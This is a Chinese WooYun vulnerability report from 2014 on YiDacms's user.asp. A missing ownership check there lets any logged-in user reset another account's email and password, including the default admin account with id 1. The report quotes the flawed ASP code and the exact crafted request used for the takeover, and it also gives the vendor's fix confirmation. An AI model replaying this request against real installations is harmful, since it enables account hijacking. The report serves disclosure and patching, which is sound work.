当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073901

漏洞标题:YiDacms 任意用户账号重置漏洞(包括管理员)

相关厂商:yidacms.com

漏洞作者: xfkxfk

提交时间:2014-08-26 19:05

修复时间:2014-11-24 19:06

公开时间:2014-11-24 19:06

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-26: 细节已通知厂商并且等待厂商处理中
2014-08-27: 厂商已经确认,细节仅向厂商公开
2014-08-30: 细节向第三方安全合作伙伴开放
2014-10-21: 细节向核心白帽子及相关领域专家公开
2014-10-31: 细节向普通白帽子公开
2014-11-10: 细节向实习白帽子公开
2014-11-24: 细节向公众公开

简要描述:

YiDacms 任意用户账号重置漏洞,不仅是密码

详细说明:

这个密码重置问题是我第一次遇到,完全是平衡权限问题
但是,估计是是程序猿的问题,在修改用户信息是不仅没有判断用户的属性,根据id直接修改,而且自己把用户的email和password都查出来,然后跟着一起提交了。。。
所以说是第一次遇到修改信息可以直接修改用户密码的,而且可以连email和password一起修改,所以连账号都不用找,直接修改成你想要的账号即可!!!
看看代码:
/Yidacms/user/user.asp文件:

if request("yidacms")="system" Then
set rs=server.createobject("adodb.recordset")
user_id = cint(request("id"))
sql="select * from shuaiweb_user WHERE id= "&user_id&""
rs.open sql,dbok,1,1
if session("shuaiweb_useremail")="" then
response.write "请从新登录!"
response.end
end if
if Request.Form("shuaiweb_username")="" then
response.write "<script language=javascript> alert('姓名不能为空!');history.go(-1);</script>"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select * from shuaiweb_user WHERE id= "&user_id&""
rs.open sql,dbok,1,3
rs("shuaiweb_useremail")=filter_Str(trim(request.form("shuaiweb_useremail")))
rs("shuaiweb_userpass")=filter_Str(trim(request.form("shuaiweb_userpass")))
rs("shuaiweb_username")=filter_Str(trim(request.form("shuaiweb_username")))
rs("shuaiweb_usertel")=filter_Str(trim(request.form("shuaiweb_usertel")))
rs("shuaiweb_userqq")=filter_Str(trim(request.form("shuaiweb_userqq")))
rs("shuaiweb_usermsn")=filter_Str(trim(request.form("shuaiweb_usermsn")))
rs("shuaiweb_useraddress")=filter_Str(trim(request.form("shuaiweb_useraddress")))
rs("shuaiweb_userportrait")=filter_Str(trim(request.form("shuaiweb_userportrait")))
rs("shuaiweb_usernote")=filter_Str(trim(request.form("shuaiweb_usernote")))
rs("shuaiweb_usernumber")=filter_Str(trim(request.form("shuaiweb_usernumber")))
rs.update
rs.close
set rs=nothing
response.write "<script language=javascript> alert('修改成功!');location.replace('user_system.asp');parent.location.reload();</script>"
End If


看到了,这里在修改是,直接带入了shuaiweb_useremail和shuaiweb_userpass
而且没有任何判断:
修改用户信息的请求如下:

链接:
http://10.65.40.6/Yidacms/user/user.asp?yidacms=system&id=3
POST:
shuaiweb_username=%C7%EB%C7%F3&shuaiweb_userportrait=%2FYidacms%2Ftemplate%2Fuser%2Fimages%2Fu1.gif&shuaiweb_usernumber=222&shuaiweb_usertel=13122222222&shuaiweb_userqq=222222&shuaiweb_usermsn=222222%40222.com&shuaiweb_useraddress=222222&shuaiweb_usernote=222222&shuaiweb_useremail=222222%40222.com&shuaiweb_userpass=965eb72c92&Submit=%CC%E1%BD%BB


id就是用户id
我们修改这里的id,就会修改对应id的用户的资料,里面就包括了用户的用户名和密码

111.png


下面看看漏洞证明

漏洞证明:

先来看看用户id=4,[email protected]的用户资料信息:

222.png


这里这里的密码
发送请求:

http://10.65.40.6/Yidacms/user/user.asp?yidacms=system&id=4
shuaiweb_username=%C7%EB%C7%F3&shuaiweb_userportrait=%2FYidacms%2Ftemplate%2Fuser%2Fimages%2Fu1.gif&shuaiweb_usernumber=222&shuaiweb_usertel=13122222222&shuaiweb_userqq=222222&shuaiweb_usermsn=222222%40222.com&shuaiweb_useraddress=222222&shuaiweb_usernote=222222&shuaiweb_useremail=222222%40222.com&shuaiweb_userpass=965eb72c92&Submit=%CC%E1%BD%BB


然后再来看看用户[email protected]的密码

333.png


密码已经被修改了。
通用用户的其他资料也是随便可以修改的。
通过此漏洞瞬间既可以修改全部用户的账号信息
admin的id=1,这是程序默认安装时已经存在账号,直接修改管理员的账号。。

修复方案:

修改用户信息是,判断当前登陆的用户的属性

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-27 09:02

厂商回复:

在新版本中 以经修复

最新状态:

暂无